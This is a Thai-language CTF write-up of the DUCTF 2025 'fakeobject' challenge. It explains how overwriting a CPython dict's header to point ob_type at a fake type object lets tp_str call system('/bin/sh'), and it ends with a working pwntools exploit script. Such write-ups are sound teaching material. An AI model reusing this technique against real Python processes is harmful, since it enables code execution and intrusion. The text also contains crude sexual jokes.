# [DUCTF2025] fakeobject

week นี้ไม่ค่อยว่างมีนัดไปนู่นนี่ ว่างเล่นข้อเดียว ถือว่าแปลกใหม่พอสมควร ไม่เคยทำ pwn บน python เลยจั้บ มาดูกันว่าถ้าเรา Arbitrary Write บน Python เราทำไรได้บ้าง

โจทย์ให้มาหนึ่งไฟล์ `fakeobj.py` สั้น ๆ ง่าย ๆ คือ write ได้ 72 bytes ทับที่ตัวแปร obj ที่เป็น dict ใน Python

```python
#!/usr/bin/env python3

import ctypes

obj = {}
print(f"addrof(obj) = {hex(id(obj))}")

libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")

fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)
```

เป้าหมายของเราคือ spawn shell อ่าน flag นั้นเอง แต่สิ่งนี้มันคืออารายยไม่เคยพบเคยเห็น ไม่เคย pwn บน python ค้อฟอ้าย

### เริ่ม Debug ก่อนเลย

เอาโจทย์มาโมใหม่จะได้ debug ง่าย ๆ `fakedebug.py`

```python
#!/usr/bin/env python3

import ctypes

obj = {}
print(f"addrof(obj) = {hex(id(obj))}")

libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")

input() # caveman breakpoint

# fakeobj_data = bytes.fromhex(input("fakeobj: "))
fakeobj_data = b""
fakeobj_data += b"AAAAAAAA"
fakeobj_data += b"BBBBBBBB"
fakeobj_data += b"CCCCCCCC"
fakeobj_data += b"DDDDDDDD"
fakeobj_data += b"EEEEEEEE"
fakeobj_data += b"FFFFFFFF"
fakeobj_data += b"GGGGGGGG"
fakeobj_data += b"HHHHHHHH"
fakeobj_data += b"IIIIIIII"


for i in range(72):
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)
```

จากนั้นก็ attach gdb ของเราเข้าไป แล้ว debug เลยยยย

```bash
(pwn) ➜  gdb python3
gef> r fakedebug.py
Starting program: /home/pwn/.virtualenvs/pwn/bin/python3 fakedebug.py
addrof(obj) = 0x7ffff77067c0
system = 0x7ffff7c58750
gef> tele 0x7ffff77067c0
```

เหี้ยไรเนี่ย

![](https://lh7-rt.googleusercontent.com/slidesz/AGV_vUeIt_OrK4e9VPY0CO1iZDD3iHixAGBzbPMWb_f_h87_5MBWRm1cHbSCkKIC7Bnc-vuy_O_-JkNAtcJBi0j6yV0xx-W68gu3q2aAgnTOZ3l_ohn1fWZlWvJrjdyNYyaI43dOJkrXZw=nw?key=U2UEWkcedv5s-e1xmlLQ7w align="left")

ก่อนจะไปหวดต่อเราลองมาดูกันก่อนว่าเรา Write ได้ 72 Bytes มันเริ่มจากตรงไหนถึงตรงไหนบ้าง

![](https://lh7-rt.googleusercontent.com/slidesz/AGV_vUeHbEsclGdzLv5IVoUrKfJNM9OCOV6l4zIz1XjW9AV8M3Ed8YBjS2QCaRLnemXo4wAd4crIep7usVw8pLRInpHLU18cF_s1440G-WZ8w-DswKwNBedv8qKls5d9tiHEI3pgDGa4sQ=nw?key=U2UEWkcedv5s-e1xmlLQ7w align="left")

จะเห็นว่า Range ที่เราเขียนได้จะเริ่มตั้งแต่หัว Dict ไปถึง +0×48 Bytes

คำถามคือเราจะทำยังไงต่อเพื่อให้ Hijack Control Flow มาเพื่อไป Spawn Shell ให้ได้

ถ้าเราย้อนกลับไปดู `fakeobject.py` จะเห็นว่าโปรแกรมไม่ได้ทำอะไรเลยหลังเราเขียนทับ Dict เขียนนอกจาก `print(obj)` แต่ๆๆๆๆๆ ถ้าใครเคยเขียน python แล้วลอง `print(dict())` แล้วจะพบว่ามันจะทำการ print key และ value ออกมาให้เราหมดเลย แสดงว่ามันต้องมี function สักอย่างที่คอยจะการ parse ค่าต่าง ๆ ใน Dict ของเราออกมาเป็น String แล้วส่งให้ print ไปโชว์ Dick ของเรา

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753008076008/df2d35dd-03bc-4b08-aed4-d2ae9215b1b1.png align="center")

ซึ่งใน Python เอง Datatype แทบจะทุก Type จะ inherit มาจาก Object ซึ่ง Dict เองก็เหมือนกัน แสดงว่า Dict ของเราควรจะเก็บ Function Pointer ของ `__str__` ไว้สักที่หนึ่ง ถ้าเราหาเจอแล้วเรา Replace เป็น `system` น่าจะ hijack control flow และ Spawn shell ได้เลย

### แล้วมันอยู่ไหนล่ะ?

ถ้าเรากลับไปแกะตัว Implementation ของ Dict ใน cPython เราจะเห็น struct หน้าตาแบบนี้ อันนี้ทำให้เราพอจะ map กับ Memory ที่เรา `tele` ดูตอนแรกได้

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753006678244/64e4a2ca-db6e-4282-9fe9-df3d93430b50.png align="center")

จาก struct ของ `PyDictObject` ข้างบนเราเอามา map กับตัว memory ของเราได้แบบนี้

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753007065953/9e191d6a-8084-4064-b78f-3130ec50996b.png align="center")

อ้าว ไม่เห็นมี `__str__` เบยยย จริง ๆ เราเกือบจะเจอมันแล้วครับ มันไปแอบอยู่ที่ `PyTypeObject` ถ้าเรา trace code ไปดู struct `_typeobject` ก็จะเห็นเหมือนในรูปนี้ครับ ในที่นี้

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753007389762/7284c3aa-0600-482d-838d-2939522c3c59.png align="center")

ซึ่งถ้าคิดย้อนกลับดูก็ make sense เพราะทุก Dict ก็ควรจะมี Default string handler function ที่เหมือนกัน จะเก็บใน Type Object ก็ไม่แปลก

ไหนลอง tele obj\_type ดิ้

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753007579536/c49d5ebb-cac1-4be9-ad39-6646e2859e01.png align="center")

อ้าว งี้จะรู้ได้ไงว่า offset ไหนคือ `__str__` หรือ `tp_str` ใน `_typeobject` หล่ะ จริง ๆ จากด้านบนเราพอจะมี Hint อยู่บ้าง เมื่อเราเอา Struct มาเทียบมัน Memory Layout ของ `obj_type` มีความเป็นไปได้ที่ `tp_target` จะอยู่ที่ offset+0×88

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753008379720/00447cc1-25d3-4b37-80f0-7a02773a2e75.png align="center")

แต่เราไม่มี Arbitary Read/Write หนิ เราจะ Leak Address ของ `_typeobject` มาได้ยังไง หรือถ้า Address ของ `_typeobject` เป็น Fixed Address เราก็ไม่มี Arbitary Address Write มาทับที่ตรงนี้อยู่ดี

คำถามคือเราจำเป็นต้อง AAW จริง ๆ หรือเปล่าเพื่อ ***ทำให้ tp\_str เป็น address ที่เราต้องการ*** เราย้อนกลับไปที่ PyDictObj ดีกว่า

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753016622077/ee2c0250-6d04-4cc3-85c3-61d46fb255ff.png align="center")

ถ้าเราจะเรียก `tp_str` สามารถทำได้จาก `ob_type→tp_str()` งั้นถ้าเราเขียนที่ `tp_str` ไม่ได้ เราก็แก้ค่า `ob_type` แทนสิ!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753016658829/5d5ab632-af2b-49fc-9c9f-4f7415737c36.png align="center")

เราทำการแก้ pointer ของ ob\_type ไปที่ Memory ที่เรา control แล้วก็ Align ให้ offset ที่ 0×88 เป็น function pointer ที่เราต้องการแค่นี้ก็ได้แล้ว

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753016816962/8806b6d0-0a59-4525-95ff-b135be1bc3d6.png align="center")

จะทำให้ `ob_type→tp_str` align ชี้มาที่ `0xdeadbeef` ของเรา

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753017025127/3e208799-7ceb-4ce0-8c3c-30b4449ae054.png align="center")

ไหนมาลองกันเลยแก้ `fakedebug.py` ของเราให้เป็นตาม Structure ด้านบน

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753010922487/5f124d2f-209f-425a-bbb9-693cffea31eb.png align="center")

จะเห็นว่าเราสามารถ hijack control flow ได้แล้ว อีกทั้ง RDI ยังชี้ไปที่ `obj` ของเราอีก งี้ EZ เลย คุมได้หมด `system` ก็ไม่ต้อง leak พรี่แกให้มาหมด งั้นโม exploit ให้เป็นหน้าตาแบบนี้

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753016770910/c6df62ba-c383-4fa5-8d63-eedf78e8aa95.png align="center")

ที่ `/bin/sh` ต้อง -2 เพราะเหมือนตอนที่เรารันไปตัว Obj เรามี ref เพิ่มขึ้นมาอีก 2 เลยลบไปเมื่อเอาไปรันมันจะ inc ขึ้นมาเองแล้วทำให้ payload กลายเป็น `/bin/sh\x00` เอง (Little Endian น่ะ ไม่งงหรอกเนอะ)

ตั้ง breakpoint ไว้ที่ `system` ก็พบว่าเราสามารถ spawn shell ได้แน้วววว

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753011451296/f82979c5-1dc5-4fca-a26b-08d8cb003707.png align="center")

ไม่รอช้าหวดที่ server เลยค้อฟ

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753011592679/6f37bab1-f34a-4f7a-bdd5-800437cf00e7.png align="center")

กรรม ไม่เวิคเฉยยยยยยย

เลยกลับไปลอง spawn docker ที่ทางผู้จัดให้มาแล้วลอง attach gdb ไปดูพบว่าจริง ๆ ที่ตายมันตายที่ `obj→ob_refcnt` ที่ env เรามัน +2 แต่ใน docker มัน +1 อันนี้ยังไม่ได้ลอง debug ต่อแต่คิดว่าน่าจะเพราะตอน debug มี code ที่ ref มากกว่าโจทย์ เลยลองแก้ `obj→obj_refcnt` เป็น -1 แล้วหวดอีกรอบค้อฟ

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753011794236/22749191-774a-4a88-aa67-9d302b2bca00.png align="center")

จะเห็นว่าเราสามารถควยคุม dick และ spawn shell ได้ตามต้องการแล้ว เย้

![](https://i.imgflip.com/a0sa1l.jpg align="center")

**solve.py**

```python
from pwn import *


p = remote("chal.2025.ductf.net", 30001)


p.recvuntil(b"addrof(obj) = ")
obj_addr = int(p.recvline().strip(), 16)
print(f"obj_addr:{hex(obj_addr)}")

p.recvuntil(b"system = ")
system_addr = int(p.recvline().strip(), 16)

print(f"system_addr:{hex(system_addr)}")

fakeobj_data = b""

fakeobj_data += p64(0x0068732f6e69622f-1) # 1 head
fakeobj_data += p64(obj_addr-0x88+24+8) # functype
fakeobj_data += p64(0)
fakeobj_data += p64(0) 
fakeobj_data += p64(system_addr)
fakeobj_data += p64(0)
fakeobj_data += p64(0)
fakeobj_data += p64(0)
fakeobj_data += p64(0)

p.sendline(fakeobj_data.hex())

p.interactive()
```
